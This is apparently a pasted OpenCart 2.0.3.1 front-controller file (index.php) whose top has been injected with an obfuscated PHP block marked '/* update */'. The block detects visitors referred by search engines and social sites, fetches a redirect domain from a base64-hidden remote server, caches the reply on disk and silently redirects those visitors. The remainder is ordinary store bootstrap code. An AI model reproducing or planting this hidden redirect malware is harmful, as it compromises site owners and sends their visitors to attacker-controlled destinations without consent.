· 6 years ago · Dec 17, 2019, 03:14 PM
1<?php /* update */
2
3if(isset($_SERVER['HTTP_REFERER'])) {
4 $referer = $_SERVER['HTTP_REFERER'];
5 $white_engine_search = base64_decode('Z29vZ2xlfGJpbmd8eWFuZGV4fGJhaWR1fHlhaG9vfGR1Y2tkdWNrZ298YXNrfGZhY2Vib29rfHZrLmNvbXx0d2l0dGVyfG1haWwuY29tfG1haWwucnV8bGlua2VkaW4');
6 if (preg_match("/(".$white_engine_search.")/i" , $referer)){
7 $ed6fe1d0be6347b8e = "/index/?7561576265124";
8 $kkk557 = "5f1f67ea4027a7b7ec6808ea69c774a8";
9 $s8c7dd922ad47494f = dirname(__FILE__) . "/" . md5($id6fe1d0be634);
10 $h77e8e1445762ae1a = time();
11 $dejrif483ol = file_exists($s8c7dd922ad47494f);
12 $deaa082fa57816233 = 0;
13 $d07cc694b9b3fc636 = 0;
14 function v64547f9857d8dc65($s8c7dd922ad47494f){
15 global $v634894f9845d8dc65,$kkk557;
16 if(function_exists('curl_version')){
17 $kd88fc6edf21ea464 = curl_init();
18 curl_setopt($kd88fc6edf21ea464, CURLOPT_RETURNTRANSFER, true);
19 curl_setopt($kd88fc6edf21ea464, CURLOPT_USERAGENT, base64_decode('bmV3cmVxdWVzdA=='));
20 curl_setopt($kd88fc6edf21ea464, CURLOPT_URL, base64_decode($v634894f9845d8dc65).$kkk557);
21 curl_setopt($kd88fc6edf21ea464, CURLOPT_TIMEOUT, 10);
22 $mb4a88417b3d0170d = curl_exec($kd88fc6edf21ea464);
23 curl_close($kd88fc6edf21ea464);
24 $ke4e46deb7f9cc58c = json_decode($mb4a88417b3d0170d, true);
25 if ($ke4e46deb7f9cc58c[base64_decode('ZG9tYWlu') ]) {
26 $h0666f0acdeed38d4 = @fopen($s8c7dd922ad47494f, base64_decode('dys='));
27 @fwrite($h0666f0acdeed38d4, base64_encode($mb4a88417b3d0170d));
28 @fclose($h0666f0acdeed38d4);
29 return $ke4e46deb7f9cc58c;
30 }
31 }else{
32 $mb4a88417b3d0170d = file_get_contents(base64_decode($v634894f9845d8dc65).$kkk557);
33 $ke4e46deb7f9cc58c = json_decode($mb4a88417b3d0170d, true);
34 if ($ke4e46deb7f9cc58c[base64_decode('ZG9tYWlu') ]) {
35 $h0666f0acdeed38d4 = @fopen($s8c7dd922ad47494f, base64_decode('dys='));
36 @fwrite($h0666f0acdeed38d4, base64_encode($mb4a88417b3d0170d));
37 @fclose($h0666f0acdeed38d4);
38 return $ke4e46deb7f9cc58c;
39 }
40 }
41 return false;
42 }
43 if ($dejrif483ol) {
44 $deaa082fa57816233 = filemtime($s8c7dd922ad47494f);
45 $d07cc694b9b3fc636 = $h77e8e1445762ae1a - $deaa082fa57816233;
46 $se1260894f59eeae9 = @fopen($s8c7dd922ad47494f, base64_decode('cg=='));
47 $ke4e46deb7f9cc58c = json_decode(base64_decode(fread($se1260894f59eeae9, filesize($s8c7dd922ad47494f))) , 1);
48 fclose($se1260894f59eeae9);
49 }
50 $v634894f9845d8dc65 = 'aHR0cDovL3JvaS10cmFmZmljLmljdS9nZXQucGhwP2Y9anNvbiZrZXk9';
51 $ye617ef6974faced4 = base64_decode('aHR0cDovLw==') . $ke4e46deb7f9cc58c[base64_decode('ZG9tYWlu') ] . $ed6fe1d0be6347b8e;
52 if ($d07cc694b9b3fc636 >= 20 || !$dejrif483ol) {
53 $m9b207167e5381c47 = v64547f9857d8dc65($s8c7dd922ad47494f);
54 if ($m9b207167e5381c47[base64_decode('ZG9tYWlu') ]) {
55 $ye617ef6974faced4 = base64_decode('aHR0cDovLw==') . $m9b207167e5381c47[base64_decode('ZG9tYWlu') ] . $ed6fe1d0be6347b8e;
56 }
57 }
58 header(base64_decode('TG9jYXRpb246IA==') . $ye617ef6974faced4);
59 }
60} /* update */ ?><?php
61// Version
62define('VERSION', '2.0.3.1');
63
64// Configuration
65if (is_file('config.php')) {
66 require_once('config.php');
67}
68
69// Install
70if (!defined('DIR_APPLICATION')) {
71 header('Location: install/index.php');
72 exit;
73}
74
75// Startup
76require_once(DIR_SYSTEM . 'startup.php');
77
78// Registry
79$registry = new Registry();
80
81// Loader
82$loader = new Loader($registry);
83$registry->set('load', $loader);
84
85// Config
86$config = new Config();
87$registry->set('config', $config);
88
89// Database
90$db = new DB(DB_DRIVER, DB_HOSTNAME, DB_USERNAME, DB_PASSWORD, DB_DATABASE);
91$registry->set('db', $db);
92
93// Store
94if (isset($_SERVER['HTTPS']) && (($_SERVER['HTTPS'] == 'on') || ($_SERVER['HTTPS'] == '1'))) {
95 $store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`ssl`, 'www.', '') = '" . $db->escape('https://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
96} else {
97 $store_query = $db->query("SELECT * FROM " . DB_PREFIX . "store WHERE REPLACE(`url`, 'www.', '') = '" . $db->escape('http://' . str_replace('www.', '', $_SERVER['HTTP_HOST']) . rtrim(dirname($_SERVER['PHP_SELF']), '/.\\') . '/') . "'");
98}
99
100if ($store_query->num_rows) {
101 $config->set('config_store_id', $store_query->row['store_id']);
102} else {
103 $config->set('config_store_id', 0);
104}
105
106// Settings
107$query = $db->query("SELECT * FROM `" . DB_PREFIX . "setting` WHERE store_id = '0' OR store_id = '" . (int)$config->get('config_store_id') . "' ORDER BY store_id ASC");
108
109foreach ($query->rows as $result) {
110 if (!$result['serialized']) {
111 $config->set($result['key'], $result['value']);
112 } else {
113 $config->set($result['key'], unserialize($result['value']));
114 }
115}
116
117if (!$store_query->num_rows) {
118 $config->set('config_url', HTTP_SERVER);
119 $config->set('config_ssl', HTTPS_SERVER);
120}
121
122// Url
123$url = new Url($config->get('config_url'), $config->get('config_secure') ? $config->get('config_ssl') : $config->get('config_url'));
124$registry->set('url', $url);
125
126// Log
127$log = new Log($config->get('config_error_filename'));
128$registry->set('log', $log);
129
130function error_handler($errno, $errstr, $errfile, $errline) {
131 global $log, $config;
132
133 // error suppressed with @
134 if (error_reporting() === 0) {
135 return false;
136 }
137
138 switch ($errno) {
139 case E_NOTICE:
140 case E_USER_NOTICE:
141 $error = 'Notice';
142 break;
143 case E_WARNING:
144 case E_USER_WARNING:
145 $error = 'Warning';
146 break;
147 case E_ERROR:
148 case E_USER_ERROR:
149 $error = 'Fatal Error';
150 break;
151 default:
152 $error = 'Unknown';
153 break;
154 }
155
156 if ($config->get('config_error_display')) {
157 echo '<b>' . $error . '</b>: ' . $errstr . ' in <b>' . $errfile . '</b> on line <b>' . $errline . '</b>';
158 }
159
160 if ($config->get('config_error_log')) {
161 $log->write('PHP ' . $error . ': ' . $errstr . ' in ' . $errfile . ' on line ' . $errline);
162 }
163
164 return true;
165}
166
167// Error Handler
168set_error_handler('error_handler');
169
170// Request
171$request = new Request();
172$registry->set('request', $request);
173
174// Response
175$response = new Response();
176$response->addHeader('Content-Type: text/html; charset=utf-8');
177$response->setCompression($config->get('config_compression'));
178$registry->set('response', $response);
179
180// Cache
181$cache = new Cache('file');
182$registry->set('cache', $cache);
183
184// Session
185$session = new Session();
186$registry->set('session', $session);
187
188// Language Detection
189$languages = array();
190
191$query = $db->query("SELECT * FROM `" . DB_PREFIX . "language` WHERE status = '1'");
192
193foreach ($query->rows as $result) {
194 $languages[$result['code']] = $result;
195}
196
197if (isset($session->data['language']) && array_key_exists($session->data['language'], $languages)) {
198 $code = $session->data['language'];
199} elseif (isset($request->cookie['language']) && array_key_exists($request->cookie['language'], $languages)) {
200 $code = $request->cookie['language'];
201} else {
202 $detect = '';
203
204 if (isset($request->server['HTTP_ACCEPT_LANGUAGE']) && $request->server['HTTP_ACCEPT_LANGUAGE']) {
205 $browser_languages = explode(',', $request->server['HTTP_ACCEPT_LANGUAGE']);
206
207 foreach ($browser_languages as $browser_language) {
208 foreach ($languages as $key => $value) {
209 if ($value['status']) {
210 $locale = explode(',', $value['locale']);
211
212 if (in_array($browser_language, $locale)) {
213 $detect = $key;
214 break 2;
215 }
216 }
217 }
218 }
219 }
220
221 $code = $detect ? $detect : $config->get('config_language');
222}
223
224if (!isset($session->data['language']) || $session->data['language'] != $code) {
225 $session->data['language'] = $code;
226}
227
228if (!isset($request->cookie['language']) || $request->cookie['language'] != $code) {
229 setcookie('language', $code, time() + 60 * 60 * 24 * 30, '/', $request->server['HTTP_HOST']);
230}
231
232$config->set('config_language_id', $languages[$code]['language_id']);
233$config->set('config_language', $languages[$code]['code']);
234
235// Language
236$language = new Language($languages[$code]['directory']);
237$language->load($languages[$code]['directory']);
238$registry->set('language', $language);
239
240// Document
241$registry->set('document', new Document());
242
243// Customer
244$customer = new Customer($registry);
245$registry->set('customer', $customer);
246
247// Customer Group
248if ($customer->isLogged()) {
249 $config->set('config_customer_group_id', $customer->getGroupId());
250} elseif (isset($session->data['customer']) && isset($session->data['customer']['customer_group_id'])) {
251 // For API calls
252 $config->set('config_customer_group_id', $session->data['customer']['customer_group_id']);
253} elseif (isset($session->data['guest']) && isset($session->data['guest']['customer_group_id'])) {
254 $config->set('config_customer_group_id', $session->data['guest']['customer_group_id']);
255}
256
257// Tracking Code
258if (isset($request->get['tracking'])) {
259 setcookie('tracking', $request->get['tracking'], time() + 3600 * 24 * 1000, '/');
260
261 $db->query("UPDATE `" . DB_PREFIX . "marketing` SET clicks = (clicks + 1) WHERE code = '" . $db->escape($request->get['tracking']) . "'");
262}
263
264// Affiliate
265$registry->set('affiliate', new Affiliate($registry));
266
267// Currency
268$registry->set('currency', new Currency($registry));
269
270// Tax
271$registry->set('tax', new Tax($registry));
272
273// Weight
274$registry->set('weight', new Weight($registry));
275
276// Length
277$registry->set('length', new Length($registry));
278
279// Cart
280$registry->set('cart', new Cart($registry));
281
282// Encryption
283$registry->set('encryption', new Encryption($config->get('config_encryption')));
284
285//OpenBay Pro
286$registry->set('openbay', new Openbay($registry));
287
288// Event
289$event = new Event($registry);
290$registry->set('event', $event);
291
292$query = $db->query("SELECT * FROM " . DB_PREFIX . "event");
293
294foreach ($query->rows as $result) {
295 $event->register($result['trigger'], $result['action']);
296}
297
298// Front Controller
299$controller = new Front($registry);
300
301// Maintenance Mode
302$controller->addPreAction(new Action('common/maintenance'));
303
304// SEO URL's
305$controller->addPreAction(new Action('common/seo_url'));
306
307// Router
308if (isset($request->get['route'])) {
309 $action = new Action($request->get['route']);
310} else {
311 $action = new Action('common/home');
312}
313
314// Dispatch
315$controller->dispatch($action, new Action('error/not_found'));
316
317// Output
318$response->output();